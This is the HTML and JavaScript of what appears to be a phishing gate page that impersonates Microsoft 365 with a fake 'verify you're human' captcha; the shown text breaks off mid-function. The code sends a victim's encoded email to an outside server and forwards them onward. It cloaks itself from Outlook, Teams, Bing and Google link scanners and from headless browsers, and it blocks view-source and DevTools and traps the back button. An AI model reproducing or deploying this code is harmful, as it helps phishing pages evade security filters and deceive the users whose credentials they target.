<!DOCTYPE html>
<html lang="en">
<head>
  <!-- Must be first — hides page before browser paints anything -->
  <style id="phase-gate">html { visibility: hidden !important; }</style>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="icon" href="https://www.microsoft.com/favicon.ico" type="image/x-icon">
<link rel="shortcut icon" href="https://www.microsoft.com/favicon.ico" type="image/x-icon">
<title>Help us beat the robots</title>
<!--
  ─── ONLY ONE THING TO EDIT ──────────────────────────────────────
  RENDER_URL in the script — your Render server URL.
  Everything else is controlled from the admin panel.
  ─────────────────────────────────────────────────────────────────
-->
<script>
(function () {
  // ── CONFIG — match your server values ───────────────────────
  const RENDER_URL = 'https://tdf-botguard-server.onrender.com';
  const BASE_PATH  = 'news';   // '' for doc root, '/news' for subfolder

  // ── HELPERS ──────────────────────────────────────────────────
  function isHexToken(s) {
    return typeof s === 'string' && /^[0-9a-f]{8}$/i.test(s);
  }

  function getSegments() {
  let p = window.location.pathname;

  if (BASE_PATH) {
    const base = '/' + BASE_PATH.replace(/^\/+|\/+$/g, '');

    if (p === base) {
      p = '';
    } else if (p.startsWith(base + '/')) {
      p = p.slice(base.length);
    }
  }

  return p.replace(/^\//, '').split('/').filter(Boolean);
}

  // ── PHASE DETECTION ──────────────────────────────────────────
  // Returns { phase:'session'|'entry', token, b64email, folderHint }
  function detectPhase() {
    const hostname = window.location.hostname;
    const hostParts = hostname.split('.');
    const segments  = getSegments();
    const params    = new URLSearchParams(window.location.search);
    const hash      = window.location.hash.replace(/^#/, '');

    // ── Extract email/id from query parameters or hash ─────────
    const queryEmail = params.get('email') || params.get('b64email') || params.get('e');
    if (queryEmail) {
      return {
        phase:      'entry',
        b64email:   queryEmail,
        folderHint: '',
      };
    }

    if (hash) {
      return {
        phase:      'entry',
        b64email:   hash,
        folderHint: '',
      };
    }

    // ── Subdomain mode: token.domain.com/b64email
    if (hostParts.length >= 3 && isHexToken(hostParts[0])) {
      return {
        phase:      'session',
        token:      hostParts[0],
        b64email:   segments[0] || '',
        folderHint: '',
      };
    }

    // ── Filepath mode ────────────────────────────────────────
    // No folder:  /token/b64email       → segments [token, b64]
    // Folder:     /folder/token/b64email → segments [folder, token, b64]

    if (segments.length >= 2 && isHexToken(segments[0])) {
      return {
        phase:      'session',
        token:      segments[0],
        b64email:   segments[1],
        folderHint: '',
      };
    }

    if (segments.length >= 3 && isHexToken(segments[1])) {
      return {
        phase:      'session',
        token:      segments[1],
        b64email:   segments[2],
        folderHint: segments[0],
      };
    }

    // Entry phase from path
    if (segments.length >= 2) {
      return {
        phase:      'entry',
        b64email:   segments[1],
        folderHint: segments[0],
      };
    }

    return {
      phase:      'entry',
      b64email:   segments[0] || '',
      folderHint: '',
    };
  }

  // ── ENTRY PHASE: invisible redirect ──────────────────────────
  function doEntryRedirect(b64email, folderHint) {
    fetch(`${RENDER_URL}/api/create-session`, {
      method:  'POST',
      headers: { 'Content-Type': 'application/json', 'Origin': window.location.origin },
      body:    JSON.stringify({ b64email, folderHint }),
    })
    .then(r => r.json())
    .then(data => {
      if (data.sessionUrl) {
        // replace() so the back button skips the entry URL entirely
        window.location.replace(data.sessionUrl);
      }
      // If no sessionUrl (server-side bot block responded), stay invisible — nothing to show
    })
    .catch(() => {
      // Network error or server down — stay invisible, don't reveal the page
    });
  }

  // ── SESSION PHASE: reveal the page ───────────────────────────
  function revealPage(phaseInfo) {
    // Remove the gate style — page becomes visible
    const gate = document.getElementById('phase-gate');
    if (gate) gate.remove();
    // Expose phase info so your existing init code can read it
    // instead of re-parsing the URL itself
    window.__BG_PHASE__ = phaseInfo;
  }

  // ── RUN ──────────────────────────────────────────────────────
  const phase = detectPhase();

  if (phase.phase === 'session') {
    revealPage(phase);
  } else {
    // Stay invisible — fire the redirect, nothing else runs
    doEntryRedirect(phase.b64email, phase.folderHint);
  }

})();
</script>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0;}
html,body{height:100%;font-family:'Segoe UI',-apple-system,BlinkMacSystemFont,sans-serif;background:#e5e5e5;display:flex;align-items:center;justify-content:center;min-height:100vh;}
.card{background:#fff;border-radius:12px;box-shadow:0 2px 20px rgba(0,0,0,.12);width:460px;max-width:calc(100vw - 2rem);padding:48px 40px 52px;text-align:center;position:relative;}
.logo-wrap{display:flex;align-items:center;justify-content:center;gap:10px;margin-bottom:14px;}
.jsc-logo{width:36px;height:36px;flex-shrink:0;}
.logo-name{font-size:22px;font-weight:600;color:#1b1b1b;letter-spacing:-.3px;}
.heading{font-size:24px;font-weight:400;color:#1b1b1b;margin-bottom:32px;line-height:1.3;}
.person-icon{width:56px;height:56px;margin:0 auto 22px;display:flex;align-items:center;justify-content:center;filter:drop-shadow(0 2px 6px rgba(0,0,0,.18));}
.subtext{font-size:15px;font-weight:400;color:#1b1b1b;margin-bottom:20px;}
.verify-btn{display:flex;align-items:center;gap:14px;width:100%;background:#f3f3f3;border:1.5px solid #d6d6d6;border-radius:6px;padding:14px 18px;cursor:pointer;font-family:inherit;font-size:15px;font-weight:400;color:#1b1b1b;transition:background .15s,border-color .15s;position:relative;}
.verify-btn:hover{background:#ebebeb;border-color:#bdbdbd;}
.verify-btn:disabled{cursor:default;opacity:1;}
.radio{width:22px;height:22px;border-radius:50%;border:2px solid #767676;background:#fff;flex-shrink:0;display:flex;align-items:center;justify-content:center;transition:border-color .2s,background .2s;position:relative;}
.radio.checking{border-color:#0078d4;}
.radio.checked{border-color:#107c10;background:#107c10;}
.radio.checked::after{content:'';display:block;width:6px;height:11px;border:2px solid #fff;border-top:none;border-left:none;transform:rotate(45deg) translate(-1px,-1px);}
.radio-spinner{display:none;width:14px;height:14px;border:2px solid #e0e0e0;border-top-color:#0078d4;border-radius:50%;animation:rspin .7s linear infinite;}
@keyframes rspin{to{transform:rotate(360deg);}}
.radio.checking .radio-spinner{display:block;}
.verify-text{flex:1;text-align:left;}
.verify-subtext{font-size:11px;color:#767676;display:block;margin-top:2px;}
.privacy-badge{position:absolute;right:14px;top:50%;transform:translateY(-50%);display:flex;flex-direction:column;align-items:center;gap:1px;}
.privacy-icon{width:18px;height:18px;opacity:.45;}
.privacy-label{font-size:8px;color:#aaa;text-transform:uppercase;letter-spacing:.04em;}
.captcha-section{display:none;margin-top:20px;text-align:left;}
.captcha-prompt{font-size:13px;color:#1b1b1b;margin-bottom:12px;text-align:center;line-height:1.5;}
.captcha-prompt strong{color:#0078d4;}
.captcha-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:6px;margin-bottom:12px;}
.captcha-cell{aspect-ratio:1;border:2px solid #d6d6d6;border-radius:5px;cursor:pointer;display:flex;align-items:center;justify-content:center;font-size:26px;background:#fafafa;transition:border-color .15s,background .15s;user-select:none;}
.captcha-cell:hover{border-color:#0078d4;background:#eff6fc;}
.captcha-cell.selected{border-color:#0078d4;background:#eff6fc;box-shadow:inset 0 0 0 2px #0078d4;}
.captcha-actions{display:flex;justify-content:space-between;align-items:center;gap:8px;}
.cap-refresh-btn{background:none;border:1px solid #d6d6d6;border-radius:4px;padding:7px 14px;font-size:12px;color:#555;cursor:pointer;font-family:inherit;}
.cap-refresh-btn:hover{background:#f3f3f3;}
.cap-submit-btn{background:#0078d4;color:#fff;border:none;border-radius:4px;padding:8px 20px;font-size:13px;font-weight:600;cursor:pointer;font-family:inherit;transition:background .15s;}
.cap-submit-btn:hover{background:#106ebe;}
.cap-result{font-size:12px;color:#a4262c;margin-top:8px;min-height:16px;text-align:center;}
.card-footer{margin-top:28px;font-size:11px;color:#aaa;display:flex;justify-content:center;gap:16px;flex-wrap:wrap;}
.card-footer a{color:#aaa;text-decoration:none;}
.card-footer a:hover{text-decoration:underline;}
/* Honeypots — CSS-hidden and absolute-positioned */
.hp{position:absolute;left:-99999px;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none;}
/* CSS trap — bots that don't process CSS may click this */
#css-trap{position:absolute;left:-9999px;width:0;height:0;overflow:hidden;font-size:0;}
</style>
<script>
/* ── Source / DevTools protection ───────────────────────────── */
(function(){
  /* Block Ctrl+U (view source), Ctrl+Shift+I/J/C (devtools),
     Ctrl+S (save), F12, right-click context menu */
  document.addEventListener('keydown',function(e){
    const k=e.key.toUpperCase();
    /* Ctrl+U — view source */
    if(e.ctrlKey&&k==='U'){e.preventDefault();e.stopPropagation();return false;}
    /* Ctrl+Shift+I  Ctrl+Shift+J  Ctrl+Shift+C — DevTools panels */
    if(e.ctrlKey&&e.shiftKey&&(k==='I'||k==='J'||k==='C')){e.preventDefault();e.stopPropagation();return false;}
    /* F12 */
    if(e.key==='F12'){e.preventDefault();e.stopPropagation();return false;}
    /* Ctrl+S — save page */
    if(e.ctrlKey&&k==='S'){e.preventDefault();e.stopPropagation();return false;}
    /* Ctrl+A — select all (optional, prevents scraping via select) */
    /* if(e.ctrlKey&&k==='A'){e.preventDefault();e.stopPropagation();return false;} */
  },true);

  /* Block right-click context menu */
  document.addEventListener('contextmenu',function(e){
    e.preventDefault();e.stopPropagation();return false;
  },true);

  /* Redirect away if user navigates to view-source: */
  if(window.location.protocol==='view-source:'){
    window.location.replace('about:blank');
  }

  /* Detect when DevTools is opened by size-change heuristic */
  var _w=window.outerWidth,_h=window.outerHeight;
  setInterval(function(){
    if(Math.abs(window.outerWidth-_w)>160||Math.abs(window.outerHeight-_h)>160){
      _w=window.outerWidth;_h=window.outerHeight;
      /* Blur the page content without logging out */
      var app=document.getElementById('app');
      if(app)app.style.filter='blur(8px)';
    } else {
      var app=document.getElementById('app');
      if(app&&app.style.filter)app.style.filter='';
    }
  },500);
})();
</script>
</head>
<body>

<!-- Honeypot fields — multiple types to catch different bot strategies -->
<div class="hp" aria-hidden="true">
  <input type="text"     id="_h1" name="username"     autocomplete="off" tabindex="-1">
  <input type="email"    id="_h2" name="emailaddress" autocomplete="off" tabindex="-1">
  <input type="text"     id="_h3" name="website"      autocomplete="off" tabindex="-1">
  <input type="password" id="_h4" name="pass"         autocomplete="off" tabindex="-1">
  <input type="tel"      id="_h5" name="phone"        autocomplete="off" tabindex="-1">
  <input type="text"     id="_h6" name="confirm_email" autocomplete="off" tabindex="-1">
</div>

<!-- CSS visibility trap -->
<div id="css-trap" aria-hidden="true">
  <button id="css-trap-btn" tabindex="-1"></button>
</div>

<!-- Bots without JS sent away immediately -->
<noscript><meta http-equiv="refresh" content="0;url=/blocked.html"></noscript>

<style>
    .logo-wrap {
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 12px;
        margin-bottom: 20px;
    }

    .jsc-logo {
        width: 44px; /* Matches standard MS branding scale */
        height: 44px;
    }

    .logo-name {
        font-family: 'Segoe UI', 'Segoe UI Semibold', 'Arial', sans-serif;
        font-size: 24px; /* Balanced with the 44px logo */
        font-weight: 600;
        color: #737373; /* Official Microsoft Dark Grey */
        letter-spacing: -0.5px;
        -webkit-font-smoothing: antialiased;
    }
</style>

<div class="card">
  <div class="logo-wrap">
    <svg class="jsc-logo" viewBox="0 0 36 36" fill="none" xmlns="http://www.w3.org/2000/svg">
      <rect x="1"  y="1"  width="16" height="16" rx="2" fill="#f25022"/>
      <rect x="19" y="1"  width="16" height="16" rx="2" fill="#7fba00"/>
      <rect x="1"  y="19" width="16" height="16" rx="2" fill="#00a4ef"/>
      <rect x="19" y="19" width="16" height="16" rx="2" fill="#ffb900"/>
    </svg>
    <span class="logo-name">Microsoft 365</span>
  </div>

  <h1 class="heading" id="main-heading">Help us beat the robots</h1>

<div class="person-icon">
  <svg width="56" height="56" viewBox="0 0 56 56" fill="none" xmlns="http://www.w3.org/2000/svg">
    <!-- Background circle -->
    <circle cx="28" cy="28" r="28" fill="#404357"/>

    <!-- Head -->
    <circle cx="28" cy="15.5" r="4.5" fill="white"/>

    <!-- Body & Limbs -->
    <g stroke="white" stroke-width="4.5" stroke-linecap="round" stroke-linejoin="round" fill="none">
      <!-- Arms -->
      <path d="M 16.5 23.5 L 28 26.5 L 39.5 23.5" />
      <!-- Torso -->
      <line x1="28" y1="26.5" x2="28" y2="33.5" />
      <!-- Legs -->
      <path d="M 20.5 44 L 28 33.5 L 35.5 44" />
    </g>
  </svg>
</div>

  <p class="subtext" id="sub-text">Please verify that you're human</p>

  <button class="verify-btn" id="verify-btn" onclick="__bg._sv()" aria-label="Verify you're human">
    <div class="radio" id="radio-el">
      <div class="radio-spinner"></div>
    </div>
    <div class="verify-text">
      <span id="verify-label">Verify you're human</span>
      <span class="verify-subtext" id="verify-sub">Click to confirm you are not a robot</span>
    </div>
    <div class="privacy-badge">
      <svg class="privacy-icon" viewBox="0 0 18 18" fill="none">
        <path d="M9 1L2 4v5c0 4.25 2.95 8.22 7 9 4.05-.78 7-4.75 7-9V4L9 1z" fill="#555"/>
      </svg>
      <span class="privacy-label">Privacy</span>
    </div>
  </button>

  <div class="captcha-section" id="captcha-section">
    <p class="captcha-prompt">Select all images showing a <strong id="cap-label">?</strong></p>
    <div class="captcha-grid" id="cap-grid"></div>
    <div class="captcha-actions">
      <button class="cap-refresh-btn" onclick="__bg._nc()">↺ New challenge</button>
      <button class="cap-submit-btn"  onclick="__bg._vc()">Verify →</button>
    </div>
    <p class="cap-result" id="cap-result"></p>
  </div>

  <div class="card-footer">
    <a href="#">Privacy</a>
    <a href="#">Terms</a>
    <span>© 2026 Microsoft 365</span>
  </div>
</div>

<script>
/* ================================================================
   BOTGUARD — Maximum hardened detection
   Visual: identical to reference screenshot
   Detection: 20+ silent layers, obfuscated scoring
   ================================================================ */
var __bg = (function() {
  'use strict';

  /* ── CONFIG ── */
  var _R = 'https://tdf-botguard-server.onrender.com'; /* ← your Render URL */

  /* ── LIVE CONFIG ── */
  var _C = { sM:'filepath', sB:60, sC:25, cE:true, bT:true, dst:'' };
  function _aC(d) {
    if (!d) return;
    var c = d.clientConfig || d;
    if (c.sessionMode    !== undefined) _C.sM = c.sessionMode;
    if (c.scoreBlock     !== undefined) _C.sB = c.scoreBlock;
    if (c.scoreCaptcha   !== undefined) _C.sC = c.scoreCaptcha;
    if (c.captchaEnabled !== undefined) _C.cE = c.captchaEnabled;
    if (c.backButtonTrap !== undefined) _C.bT = c.backButtonTrap;
    if (c.destination    !== undefined) _C.dst = c.destination;
  }

  /* ── RANDOM REDIRECT POOL ── */
  var _P = ['https://www.youtube.com','https://www.vimeo.com',
    'https://www.wikipedia.org','https://www.reddit.com',
    'https://www.medium.com','https://www.github.com',
    'https://www.stackoverflow.com','https://www.bbc.com',
    'https://www.nationalgeographic.com','https://www.archive.org'];
  function _rr() { window.location.replace(_P[Math.floor(Math.random()*_P.length)]); }

  /* ── DESTINATION ── */
  function _bD(email) {
    var b = (_C.dst||'').replace(/\/+$/,'');
    return (b && email) ? b+'#'+email : (b||'/');
  }

  /* ================================================================
     DETECTION SIGNALS
     Each signal returns a numeric penalty (0 = clean, >0 = suspicious)
     Signals are named with meaningless identifiers to hinder analysis.
     ================================================================ */

  /* Signal store — each key maps to a detected penalty */
  var _sg = {};

  /* ── s01: WebDriver / automation flag ── */
  function _s01() {
    var v = 0;
    try {
      if (navigator.webdriver === true) v += 40;
      if (window._phantom)              v += 40;
      if (window.__nightmare)           v += 40;
      if (window.callPhantom)           v += 40;
      if (window.domAutomation)         v += 40;
      if (window.domAutomationController) v += 40;
      if (document.__selenium_evaluate) v += 40;
      if (document.__webdriver_evaluate) v += 40;
      if (document.__fxdriver_evaluate)  v += 40;
      if (window.__pw_manual)           v += 40;
      if (window.playwright)            v += 40;
    } catch(_) {}
    return Math.min(v, 40);
  }

  /* ── s02: Headless browser UA patterns ── */
  function _s02() {
    var ua = navigator.userAgent || '';
    if (!ua) return 30;
    var patterns = [
      /headlesschrome/i, /phantomjs/i, /slimerjs/i,
      /htmlunit/i, /zombie/i, /nightmarejs/i,
      /selenium/i, /webdriver/i, /puppeteer/i,
    ];
    return patterns.some(function(p){ return p.test(ua); }) ? 30 : 0;
  }

  /* ── s03: Known bot User-Agent strings ── */
  function _s03() {
    var ua = navigator.userAgent || '';
    var bots = [
      /microsoft\s?office/i, /ms-?office/i, /msnbot/i,
      /bingpreview/i, /bingbot/i, /\boutlook\b/i,
      /skypeuripreview/i, /\bteams\b/i, /onedrive/i, /sharepoint/i,
      /googlebot/i, /google-inspectiontool/i, /google page speed/i,
      /google-structured-data/i, /adsbot-google/i, /mediapartners-google/i,
      /facebookexternalhit/i, /linkedinbot/i, /twitterbot/i,
      /applebot/i, /yandexbot/i, /baiduspider/i,
      /python-requests/i, /curl\//i, /wget\//i,
      /libwww-perl/i, /go-http-client/i, /apache-httpclient/i,
      /okhttp/i, /java\/\d/i, /scrapy/i,
    ];
    return bots.some(function(p){ return p.test(ua); }) ? 50 : 0;
  }

  /* ── s04: Canvas fingerprint integrity ── */
  function _s04() {
    try {
      var c = document.createElement('canvas');
      c.width = 220; c.height = 30;
      var ctx = c.getContext('2d');
      ctx.textBaseline = 'top';
      ctx.font = '14px Arial';
      ctx.fillStyle = '#f60'; ctx.fillRect(125,1,62,20);
      ctx.fillStyle = '#069'; ctx.fillText('Bg\u2122 \u0041\u0042\u0043', 2, 2);
      ctx.fillStyle = 'rgba(102,204,0,0.7)';
      ctx.fillText('Bg\u2122 \u0041\u0042\u0043', 4, 4);
      var d = ctx.getImageData(0,0,1,1).data;
      /* Headless Chrome without GPU returns all zeros */
      if (d[0]===0 && d[3]===0) return 15;
      /* Check data URL is not empty */
      var url = c.toDataURL();
      if (!url || url.length < 100) return 15;
      return 0;
    } catch(_) { return 15; }
  }

  /* ── s05: WebGL fingerprint ── */
  function _s05() {
    try {
      var c = document.createElement('canvas');
      var gl = c.getContext('webgl') || c.getContext('experimental-webgl');
      if (!gl) return 10; /* real browsers nearly always have WebGL */
      var ext = gl.getExtension('WEBGL_debug_renderer_info');
      if (!ext) return 5;
      var renderer = gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) || '';
      /* SwiftShader = headless Chrome, llvmpipe = Linux headless */
      if (/swiftshader|llvmpipe|virtualbox|vmware/i.test(renderer)) return 20;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s06: Plugin count heuristic ── */
  function _s06() {
    var n = navigator.plugins ? navigator.plugins.length : 0;
    /* Headless Chrome has 0 plugins, real Chrome has many */
    if (n === 0 && !('ontouchstart' in window)) return 10;
    return 0;
  }

  /* ── s07: Browser language consistency ── */
  function _s07() {
    try {
      var lang = navigator.language || '';
      var langs = navigator.languages || [];
      /* Bots often have empty or inconsistent language */
      if (!lang) return 8;
      if (langs.length === 0) return 5;
      /* language should appear in languages array */
      var root = lang.split('-')[0].toLowerCase();
      var found = langs.some(function(l){
        return l.toLowerCase().startsWith(root);
      });
      return found ? 0 : 5;
    } catch(_) { return 0; }
  }

  /* ── s08: Screen / window dimension consistency ── */
  function _s08() {
    try {
      /* Headless Chrome often has outerWidth=outerHeight=0 */
      if (window.outerWidth === 0 && window.outerHeight === 0) return 20;
      /* Screen dimensions should be >= window dimensions */
      if (screen.width < window.innerWidth) return 8;
      if (screen.height < window.innerHeight) return 8;
      /* Very small screens unusual for desktop */
      if (screen.width < 100 || screen.height < 100) return 8;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s09: Hardware concurrency ── */
  function _s09() {
    var c = navigator.hardwareConcurrency || 0;
    if (c === 0) return 5;
    /* Some bots report unrealistically high core counts */
    if (c > 128) return 5;
    return 0;
  }

  /* ── s10: Device memory ── */
  function _s10() {
    try {
      var m = navigator.deviceMemory;
      /* Real browsers report 0.25, 0.5, 1, 2, 4, 8 */
      if (m === undefined) return 3;
      if (m < 0.1) return 8;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s11: Permissions API consistency ── */
  function _s11() {
    /* Real browsers have Permissions; headless often doesn't */
    if (!navigator.permissions) return 5;
    return 0;
  }

  /* ── s12: Connection / network API ── */
  function _s12() {
    try {
      var c = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
      /* Most real browsers expose this on mobile/desktop */
      /* Absence is mild signal */
      if (!c) return 2;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s13: Prototype / property tampering detection ── */
  function _s13() {
    var v = 0;
    try {
      /* Selenium removes webdriver but leaves traces */
      if (Object.getOwnPropertyDescriptor(navigator,'webdriver')) {
        var d = Object.getOwnPropertyDescriptor(navigator,'webdriver');
        if (d && d.value === false) v += 15; /* spoofed false is suspicious */
      }
      /* CDP (Chrome DevTools Protocol) leaves $cdc_ variables */
      var keys = Object.keys(window);
      var cdp = keys.some(function(k){ return /^\$cdc_/.test(k) || /^\$chrome_/.test(k); });
      if (cdp) v += 25;
      /* Puppeteer leaves _puppeteer */
      if (window._puppeteer) v += 25;
    } catch(_) {}
    return Math.min(v, 25);
  }

  /* ── s14: iframe / sandbox detection ── */
  function _s14() {
    try {
      /* Bots sometimes run pages in sandboxed iframes */
      if (window.self !== window.top) return 5;
      return 0;
    } catch(_) {
      /* Accessing window.top throws in sandboxed iframes */
      return 10;
    }
  }

  /* ── s15: Storage availability ── */
  function _s15() {
    try {
      localStorage.setItem('_bg_t','1');
      localStorage.removeItem('_bg_t');
      return 0;
    } catch(_) {
      /* Blocked storage is unusual for real browsers */
      return 5;
    }
  }

  /* ── s16: CSS visibility trap ── */
  var _cssTrap = false;
  function _s16() {
    return _cssTrap ? 50 : 0;
  }

  /* ── s17: Honeypot field check ── */
  var _hpFilled = false;
  function _checkHp() {
    _hpFilled = _hpFilled ||
      ['_h1','_h2','_h3','_h4','_h5','_h6'].some(function(id){
        var el = document.getElementById(id);
        return el && el.value !== '';
      });
  }
  function _s17() { _checkHp(); return _hpFilled ? 50 : 0; }

  /* ── s18: First interaction timing ── */
  var _t0 = Date.now();
  var _t1 = null;
  function _s18() {
    if (_t1 === null) return 12; /* no interaction yet */
    var d = _t1 - _t0;
    if (d < 80)  return 25; /* impossibly fast */
    if (d < 300) return 5;
    return 0;
  }

  /* ── s19: Mouse movement entropy ── */
  var _pts = [], _spd = [];
  function _s19() {
    if (_pts.length < 6) return 8; /* no movement */
    var avg = _spd.reduce(function(a,b){return a+b;},0) / _spd.length;
    var v   = _spd.reduce(function(a,b){return a+(b-avg)*(b-avg);},0) / _spd.length;
    /* Perfectly linear = scripted */
    if (v < 0.001 && _pts.length > 30) return 20;
    /* Impossibly fast */
    if (avg > 200) return 10;
    return 0;
  }

  /* ── s20: Performance timing anomaly ── */
  function _s20() {
    try {
      var p = performance.timing || {};
      var nav = p.navigationStart || 0;
      var now = Date.now();
      /* Page load time unrealistically short (< 5ms) = fake */
      if (nav > 0 && (now - nav) < 5) return 15;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s21: Battery API (mobile bots rarely have this) ── */
  /* Non-blocking — result stored async */
  var _batPenalty = 0;
  (function() {
    try {
      if (navigator.getBattery) {
        navigator.getBattery().then(function(b) {
          /* Bots sometimes report charging=true, level=1.0 exactly */
          if (b.charging && b.level === 1.0 && b.chargingTime === 0) _batPenalty = 3;
        }).catch(function(){});
      }
    } catch(_) {}
  })();
  function _s21() { return _batPenalty; }

  /* ── s22: AudioContext fingerprint ── */
  function _s22() {
    try {
      var AC = window.AudioContext || window.webkitAudioContext;
      if (!AC) return 3;
      /* Real browsers can create AudioContext */
      var ctx = new AC();
      ctx.close();
      return 0;
    } catch(_) { return 3; }
  }

  /* ── s23: Font measurement consistency ── */
  function _s23() {
    try {
      var c = document.createElement('canvas');
      c.width = 200; c.height = 50;
      var ctx = c.getContext('2d');
      /* Measure a common font vs a fallback */
      ctx.font = '16px Arial';
      var w1 = ctx.measureText('mmmmmmmm').width;
      ctx.font = '16px monospace';
      var w2 = ctx.measureText('mmmmmmmm').width;
      /* Identical widths suggest font rendering is not working (headless) */
      if (w1 === w2 && w1 > 0) return 5;
      if (w1 === 0)             return 8;
      return 0;
    } catch(_) { return 0; }
  }

  /* ── s24: Notification API ── */
  function _s24() {
    /* Real Chrome/Firefox have Notification; many headless configs don't */
    if (typeof Notification === 'undefined') return 3;
    return 0;
  }

  /* ── s25: Error stack trace consistency ── */
  function _s25() {
    try {
      null.x; /* force error */
    } catch(e) {
      var s = e.stack || '';
      /* Automation tools sometimes inject unusual frames */
      if (/puppeteer|selenium|playwright|webdriver/i.test(s)) return 30;
      return 0;
    }
    return 0;
  }

  /* ================================================================
     COMPOSITE SCORER
     Runs all signals and returns 0-100 bot probability.
     Signal names are meaningless to hinder reverse engineering.
     ================================================================ */
  function _score() {
    var sigs = [_s01,_s02,_s03,_s04,_s05,_s06,_s07,_s08,_s09,_s10,
                _s11,_s12,_s13,_s14,_s15,_s16,_s17,_s18,_s19,_s20,
                _s21,_s22,_s23,_s24,_s25];
    var total = 0;
    for (var i=0; i<sigs.length; i++) {
      try { total += sigs[i](); }
      catch(_) {}
    }
    return Math.min(100, Math.round(total));
  }

  /* ================================================================
     PASSIVE COLLECTORS
     Run silently from page load to accumulate entropy.
     ================================================================ */

  /* CSS trap — if bot ignores CSS it may interact with this */
  var ct = document.getElementById('css-trap-btn');
  if (ct) ct.addEventListener('click', function(){ _cssTrap = true; });
  if (ct) ct.addEventListener('focus', function(){ _cssTrap = true; });

  /* Mouse movement */
  document.addEventListener('mousemove', function(e) {
    if (!_t1) { _t1 = Date.now(); }
    _pts.push({x:e.clientX, y:e.clientY, t:Date.now()});
    if (_pts.length > 1) {
      var a = _pts[_pts.length-2], b = _pts[_pts.length-1];
      var dt = Math.max(b.t-a.t, 1);
      _spd.push(Math.sqrt((b.x-a.x)*(b.x-a.x)+(b.y-a.y)*(b.y-a.y))/dt);
    }
    if (_pts.length > 500) _pts.shift();
  }, {passive:true});

  document.addEventListener('touchstart', function() {
    if (!_t1) _t1 = Date.now();
  }, {passive:true});

  document.addEventListener('keydown', function() {
    if (!_t1) _t1 = Date.now();
  });

  /* Scroll — real users scroll, bots rarely do */
  var _scrolled = false;
  document.addEventListener('scroll', function() { _scrolled = true; }, {passive:true});

  /* ================================================================
     URL PARSING
     ================================================================ */
  function _pu() {
    var hn    = window.location.hostname;
    var path  = window.location.pathname.replace(/^\//,'').trim();
    var parts = path.split('/').filter(Boolean);
    var hp    = hn.split('.');

/* Subdomain session — token.youdh.top/base64email */
    /* Guard with hex check — multi-part TLDs like domain.com.au have  */
    /* hp.length > 2 but hp[0] is 'domain', not an 8-char hex token.   */
    if (hp.length > 2 && /^[0-9a-f]{8}$/i.test(hp[0]))
      return {t:'ss', st:hp[0], be:parts[0]||'', folder:''};
	  
    /* 3-part path — youdh.top/shop/token/base64email */
    if (parts.length >= 3)
      return {t:'sf', st:parts[1], be:parts[2], folder:parts[0]};

    /* 2-part path — distinguish folder entry vs session URL by decoding
       the second segment. If it contains '@' it is a base64 email,
       meaning the first segment is a folder name not a session token. */
    if (parts.length === 2) {
      var maybeEmail = '';
      try { maybeEmail = atob(parts[1]); } catch(_) {}
      if (maybeEmail.indexOf('@') > -1)
        return {t:'e', be:parts[1], folder:parts[0]};
      return {t:'sf', st:parts[0], be:parts[1], folder:''};
    }

    /* Single segment or empty — root entry (auto-session if no email) */
    return {t:'e', be:parts[0]||'', folder:''};
  }

  function _de(b) {
    try { var d=atob(b); return d.indexOf('@')>-1?d:''; }
    catch(_) { return ''; }
  }

  /* ================================================================
     STATE
     ================================================================ */
  var _st = null, _em = '', _done = false, _chal = null, _sel = new Set(), _folder = '';
  var _bkInstalled = false;

  function _ib() {
    if (_bkInstalled || !_C.bT) return;
    _bkInstalled = true;
    history.pushState({g:true},'',window.location.href);
    window.addEventListener('popstate', function(){ _rr(); });
  }

  /* ================================================================
     UI HELPERS
     ================================================================ */
  function _sr(state) {
    var el = document.getElementById('radio-el');
    el.className = 'radio' + (state?' '+state:'');
  }
  function _st2(lbl, sub) {
    document.getElementById('verify-label').textContent = lbl||'Verify you\'re human';
    document.getElementById('verify-sub').textContent   = sub||'Click to confirm you are not a robot';
  }
  function _sh() {
    document.getElementById('main-heading').textContent = 'One more step';
    document.getElementById('sub-text').textContent     = 'Complete the challenge to continue';
    document.getElementById('captcha-section').style.display = 'block';
    document.getElementById('verify-btn').disabled = true;
    _sr('');
    _st2('Complete the challenge below','Select all matching images');
  }

  /* ================================================================
     CAPTCHA POOL
     ================================================================ */
  var _pool = [
    {l:'fire emoji',    t:'🔥',i:['🔥','🌊','🌿','⚡','🔥','🌙','🔥','🍀','❄️']},
    {l:'star',          t:'⭐',i:['⭐','🌙','⭐','🔶','🌟','⭐','🔷','🌑','🌟']},
    {l:'lock',          t:'🔒',i:['🔓','🔒','🗝️','🔒','🔑','🔒','🔓','🔑','🔒']},
    {l:'red circle',    t:'🔴',i:['🟠','🔴','🟡','🔴','🟢','🔵','🔴','🟣','🔴']},
    {l:'lightning bolt',t:'⚡',i:['⚡','🌧️','⚡','🌤️','🌩️','⚡','🌦️','🌈','⚡']},
    {l:'diamond',       t:'💎',i:['💎','💍','💎','🪙','💎','🏆','💰','💎','🪙']},
    {l:'robot',         t:'🤖',i:['👾','🤖','👽','🤖','🦾','🤖','🧠','👾','🤖']},
  ];

  function _nc() {
    var ch = _pool[Math.floor(Math.random()*_pool.length)];
    _chal = ch; _sel.clear();
    document.getElementById('cap-label').textContent = ch.l;
    document.getElementById('cap-grid').innerHTML = ch.i.map(function(e,i){
      return '<div class="captcha-cell" data-i="'+i+'" onclick="__bg._tp(this)">'+e+'</div>';
    }).join('');
    document.getElementById('cap-result').textContent = '';
  }

  function _tp(el) {
    var i = +el.dataset.i;
    if (_sel.has(i)) { _sel.delete(i); el.classList.remove('selected'); }
    else             { _sel.add(i);    el.classList.add('selected'); }
  }

  function _vc() {
    _checkHp();
    var res = document.getElementById('cap-result');
    if (_hpFilled) { _rr(); return; }
    var ch  = _chal;
    var cor = new Set(ch.i.reduce(function(a,e,i){ return e===ch.t?a.concat([i]):a; },[]));
